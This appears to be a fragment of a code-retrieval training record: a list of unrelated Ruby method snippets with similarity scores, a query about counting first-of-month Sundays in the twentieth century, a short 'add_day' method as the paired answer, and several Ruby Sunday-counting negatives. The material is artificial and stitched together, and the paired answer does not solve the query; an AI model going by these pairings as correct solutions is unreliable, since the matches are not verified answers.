"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def after_set_callback; end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def default_action; end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def call\n setup_context\n super\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end"
] | [
"0.6165094",
"0.60450804",
"0.5944413",
"0.5915806",
"0.58885634",
"0.5835225",
"0.5775847",
"0.5700531",
"0.5700531",
"0.56543404",
"0.56209993",
"0.54238355",
"0.5410386",
"0.5410386",
"0.5410386",
"0.5394892",
"0.5377769",
"0.53559244",
"0.5339896",
"0.53388095",
"0.5330087",
"0.5311993",
"0.5297402",
"0.5296789",
"0.52957207",
"0.52596015",
"0.5245442",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5235431",
"0.5231888",
"0.5226663",
"0.52220625",
"0.5217086",
"0.52137345",
"0.5208314",
"0.5205469",
"0.5175606",
"0.5174914",
"0.5173361",
"0.51662856",
"0.5161792",
"0.51572216",
"0.5153063",
"0.5152982",
"0.5152632",
"0.51435786",
"0.5139829",
"0.51346594",
"0.511372",
"0.511372",
"0.51136476",
"0.51083213",
"0.5108011",
"0.5091935",
"0.5089297",
"0.5081576",
"0.50807106",
"0.50656676",
"0.50548106",
"0.50537366",
"0.505074",
"0.505074",
"0.5033361",
"0.5025158",
"0.5020441",
"0.5015611",
"0.50142473",
"0.5000281",
"0.50001067",
"0.49989453",
"0.4989465",
"0.4989465",
"0.4985425",
"0.49805096",
"0.49795893",
"0.49783278",
"0.49676263",
"0.49656346",
"0.49579078",
"0.4955427",
"0.49554235",
"0.49536413",
"0.49523768",
"0.49457142",
"0.49433607",
"0.4933641",
"0.49320185",
"0.49265638",
"0.49262375",
"0.49259067",
"0.4922456",
"0.49201223",
"0.49165115",
"0.49158815",
"0.49151883",
"0.49149552",
"0.4914386"
] | 0.0 | -1 |
Only allow a list of trusted parameters through. | def property_params
params.require(:property).permit(:id,:account_id,:featured,:comision,:duenos_id,:descripcion,:tipoOp,:tipoProp, :zona, :colonia, :precio, :mConst, :mTerreno, :banos,:ac,:alarm,:lift,:balcony,:furnished,:bbq,:heating,:fireplace,:backyard,:pool,:terrace,:security,:comision, :recamaras,:cover_picture,pictures: [],ids: [])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def valid_params?; end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def params(list)\n @declared_params = list\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def safelist; end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def valid_for_params_auth?; end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def url_allowlist; end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] | [
"0.69485277",
"0.6813547",
"0.6799911",
"0.6796169",
"0.6745757",
"0.6741778",
"0.6527065",
"0.65204644",
"0.64925444",
"0.64314413",
"0.64314413",
"0.64314413",
"0.6398711",
"0.6355623",
"0.6355327",
"0.6345812",
"0.6343951",
"0.6338371",
"0.6327366",
"0.6327366",
"0.6327366",
"0.63136744",
"0.63001245",
"0.6264419",
"0.62613016",
"0.6259317",
"0.623719",
"0.6227251",
"0.6220037",
"0.621864",
"0.620889",
"0.6199145",
"0.61970234",
"0.61728656",
"0.61563927",
"0.6155928",
"0.6152361",
"0.6136508",
"0.6122662",
"0.6109611",
"0.60738647",
"0.6072253",
"0.6058575",
"0.60571283",
"0.6044282",
"0.6033789",
"0.6018841",
"0.601607",
"0.6014327",
"0.6010113",
"0.60086375",
"0.60080284",
"0.60060716",
"0.6004647",
"0.6004647",
"0.5999453",
"0.59945875",
"0.5990942",
"0.5983142",
"0.5969449",
"0.59688187",
"0.5965012",
"0.5964062",
"0.5960668",
"0.59599936",
"0.59338915",
"0.59288186",
"0.5921217",
"0.59072363",
"0.59049433",
"0.58997554",
"0.58917797",
"0.5890338",
"0.5879621",
"0.5879621",
"0.5879621",
"0.5872355",
"0.58605725",
"0.5853338",
"0.58435106",
"0.5842603",
"0.58328134",
"0.5830374",
"0.5829657",
"0.5828463",
"0.5817261",
"0.58149874",
"0.58147764",
"0.5810487",
"0.5801209",
"0.5801009",
"0.5801009",
"0.5794343",
"0.5785498",
"0.57794553",
"0.5778505",
"0.577467",
"0.57682633",
"0.5768243",
"0.57627535",
"0.5757951"
] | 0.0 | -1 |
1 Jan 1900 was a Monday. Thirty days has September, April, June and November. All the rest have thirtyone, Saving February alone, Which has twentyeight, rain or shine. And on leap years, twentynine. A leap year occurs on any year evenly divisible by 4, but not on a century unless it is divisible by 400. How many Sundays fell on the first of the month during the twentieth century (1 Jan 1901 to 31 Dec 2000)? Answer: 171 | def add_day(day)
day += 24*60*60
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def countSundaysYear(year, startDay)\n\tsundays = 0\n\tday = startDay % 7\n\tif(isLeapYear(year))\n\t\tyear = $MonthsLeap\n\telse\n\t\tyear = $Months\n\tend\n\t\n\tyear.each do |x|\n\t\tif(day == 0)\n\t\t\tsundays += 1\n\t\tend\n\t\tday = ((day + x) % 7)\n\t\t\n\tend\n\t\n\treturn sundays\nend",
"def total_sundays\r\n\tthirty_days = [4,6,9,11]\r\n\tthirtyone_days = [1,3,5,7,8,10,12]\r\n\t\r\n\ttotal_sunday = 0\r\n\tday_of_first = 2 # 0-6 = sunday - saturday (1 = monday)\r\n\t(1901..2000).each do |year|\r\n\t\t(1..12).each do |month|\r\n\t\t\tif thirty_days.include? month\r\n\t\t\t\tday_of_first = ((day_of_first + 30) % 7)\r\n\t\t\t\ttotal_sunday += 1 if day_of_first == 0\r\n\t\t\telsif thirtyone_days.include? month\r\n\t\t\t\tday_of_first = ((day_of_first + 31) % 7)\r\n\t\t\t\ttotal_sunday += 1 if day_of_first == 0\r\n\t\t\telsif year % 4 == 0 and year % 400 == 0\r\n\t\t\t\tday_of_first = ((day_of_first + 29) % 7)\r\n\t\t\t\ttotal_sunday += 1 if day_of_first == 0\r\n\t\t\telse\r\n\t\t\t\tday_of_first = ((day_of_first + 28) % 7)\r\n\t\t\t\ttotal_sunday += 1 if day_of_first == 0\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\treturn total_sunday\r\nend",
"def counting_sundays\n cumulative_sum = []\n\n (1900..2000).each do |year|\n (1..12).each do |month|\n cumulative_sum << days_in_month(month, year) + (cumulative_sum.last.nil? ? 0 : cumulative_sum.last)\n end\n end\n\n # Note that the cumulative sum represents the number of days before the start of each month\n # (i.e. cumulative_sum[0] == 31 == days before February 1900). Since we exclude the first\n # year, we count the number of Sundays from cumulative_sum[11..end]\n sundays = cumulative_sum[11..cumulative_sum.length - 1].inject(0) { |sum, e| (e % 7 == 6) ? sum + 1 : sum }\n return sundays\nend",
"def find_days_from_sunday(year, month, date)\r\n\tresult = 0\r\n\tfull_years = year - 1900\r\n\t# add 365 for each full year\r\n\tresult += full_years * 365\r\n\t# add 1 for each full leap year\r\n\tresult += (full_years - 1) / 4\r\n\r\n\tmonth_days = [31,28,31,30,31,30,31,31,30,31,30,31]\r\n\t# add days for full months in final calendar year\r\n\tresult += month_days[0...(month - 1)].inject(0,:+)\r\n\t# add 1 for leap day in final calendar year\r\n\tresult += 1 if (month > 2) && (year % 4 == 0) && (year % 100 != 0)\r\n\r\n\t# add for number of days into final month\r\n\tresult += date\r\n\r\n\t# add one for dates Dec 31 1899 or earlier\r\n\tresult += 1 if year <= 1899\r\n\r\n\tresult\r\nend",
"def count_sunday_months(begin_date_full, end_date_full)\r\n\t# handle inputs in any order\r\n\tbegin_date_full, end_date_full = [begin_date_full, end_date_full].sort\r\n\r\n\tyear, month, begin_day = begin_date_full\r\n\tend_year, end_month, end_day = end_date_full\r\n\r\n\t# find next first of month if the begin_date isn't the first of the month\r\n\tif begin_day != 1\r\n\t\tyear += 1 if (month == 12)\r\n\t\tmonth = (month % 12) + 1\r\n\tend\r\n\r\n\tmonth_days = {\r\n\t\t1 => 31,\r\n\t\t2 => 28,\r\n\t\t3 => 31,\r\n\t\t4 => 30,\r\n\t\t5 => 31,\r\n\t\t6 => 30,\r\n\t\t7 => 31,\r\n\t\t8 => 31,\r\n\t\t9 => 30,\r\n\t\t10 => 31,\r\n\t\t11 => 30,\r\n\t\t12 => 31\r\n\t\t}\r\n\r\n\t# since Jan 1 1900 was a monday and 1900 is not a leap year,\r\n\t# Jan 1 1901 should be 366 days from Sun, Dec 31 1899.\r\n\t# But I am using a helper method to allow this method to work for any input dates\r\n\tdays_from_sunday = find_days_from_sunday(year, month, 1)\r\n\tsunday_count = 0\r\n\r\n\tuntil (year == end_year && month > end_month) || (year > end_year)\r\n\t\t# increment count if the number of days from Sun, 12/31/1899 is divisible by 7\r\n\t\tsunday_count += 1 if (days_from_sunday % 7 == 0)\r\n\r\n\t\t# go to first day of next month\r\n\t\tdays_from_sunday += month_days[month]\r\n\t\t# add 1 for leap days\r\n\t\tdays_from_sunday += 1 if (month == 2) && (year % 4 == 0) && (year % 100 != 0)\r\n\r\n\t\t# increment date\r\n\t\tyear += 1 if month == 12\r\n\t\tmonth = (month % 12) + 1\r\n\tend\r\n\r\n\tsunday_count\r\nend",
"def first_sun?(days, year)\n\t(days % 7 == 0 && year > 1900) ? 1 : 0\n\tend",
"def sundayCounter\n days = [31,28,31,30,31,30,31,31,30,31,30,31]\n date, sundays = 0, 1\n\n (1901...2000).each do\n (0..11).each do |month|\n date = (date + days[month]) % 7\n sundays += 1 if date == 6\n end\n end\n sundays\nend",
